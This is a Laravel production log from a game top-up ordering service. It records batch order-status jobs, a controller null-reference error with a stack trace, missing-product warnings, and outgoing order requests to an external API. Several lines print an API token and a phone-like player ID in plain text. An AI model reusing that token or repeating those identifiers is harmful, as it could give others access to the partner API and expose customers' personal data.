[2026-03-24 11:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"user_id":1659,"notification_type":"order_approved","reference_id":178564} 
[2026-03-24 11:02:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 11:02:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:02:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"processed":1,"errors":0} 
[2026-03-24 11:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"processed":1,"errors":0} 
[2026-03-24 11:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495} 
[2026-03-24 11:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1659  
[2026-03-24 11:03:44] production.ERROR: Call to a member function where() on null {"userId":1770,"exception":"[object] (Error(code: 0): Call to a member function where() on null at /home/talaah/public_html/app/Http/Controllers/Front/GameController.php:51)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Front\\GameController->products('x')
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('products', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Front\\GameController), 'products')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#6 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#8 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(172): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 11:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03"} 
[2026-03-24 11:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","total_operations":2,"sites_count":1} 
[2026-03-24 11:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:04:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:04:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:04:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:04:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"so5SqQqzljuBRy6gPJLoi55Pf6isuGbx","execution_time":"2026-03-24 11:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:04:41] production.INFO: Constructing job for order: 178565  
[2026-03-24 11:04:42] production.INFO: Handling job for order: 178565  
[2026-03-24 11:04:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:04:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:04:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=f8b18868-cf85-4317-84e4-c9d656f71713&Player_ID=0986355949  
[2026-03-24 11:04:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=f8b18868-cf85-4317-84e4-c9d656f71713&Player_ID=0986355949","has_body":false} 
[2026-03-24 11:04:43] production.INFO: Operation sent successfully {"operation_id":163496,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yaZpwfcv-1774339482","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:04:43"}},"processed_data":{"order_number":"ORD-yaZpwfcv-1774339482","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:04:49] production.INFO: Constructing job for order: 178566  
[2026-03-24 11:04:52] production.INFO: Handling job for order: 178566  
[2026-03-24 11:04:52] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:04:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:04:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=3472cd48-ee6b-4e1c-a540-4d10b670443d&Player_ID=0986355949  
[2026-03-24 11:04:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=3472cd48-ee6b-4e1c-a540-4d10b670443d&Player_ID=0986355949","has_body":false} 
[2026-03-24 11:04:52] production.INFO: Operation sent successfully {"operation_id":163497,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RRXgnZnB-1774339492","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 11:04:52"}},"processed_data":{"order_number":"ORD-RRXgnZnB-1774339492","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 11:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:05:03] production.INFO: async() رجع: true  
[2026-03-24 11:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:05:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02"} 
[2026-03-24 11:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","total_operations":4,"sites_count":2} 
[2026-03-24 11:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-yaZpwfcv-1774339482","ORD-RRXgnZnB-1774339492"]} 
[2026-03-24 11:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 11:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 11:06:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 11:06:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"count":2} 
[2026-03-24 11:06:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"count":2} 
[2026-03-24 11:06:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"user_id":770,"notification_type":"order_approved","reference_id":178566} 
[2026-03-24 11:06:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"user_id":770,"notification_type":"order_approved","reference_id":178565} 
[2026-03-24 11:06:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 11:06:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:06:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"processed":2,"errors":0} 
[2026-03-24 11:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DHoM8Tq0lc3eVW9RL9GQcCq9tpM4g2Zk","execution_time":"2026-03-24 11:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yaZpwfcv-1774339482","operation_id":163496,"processed":2,"errors":0} 
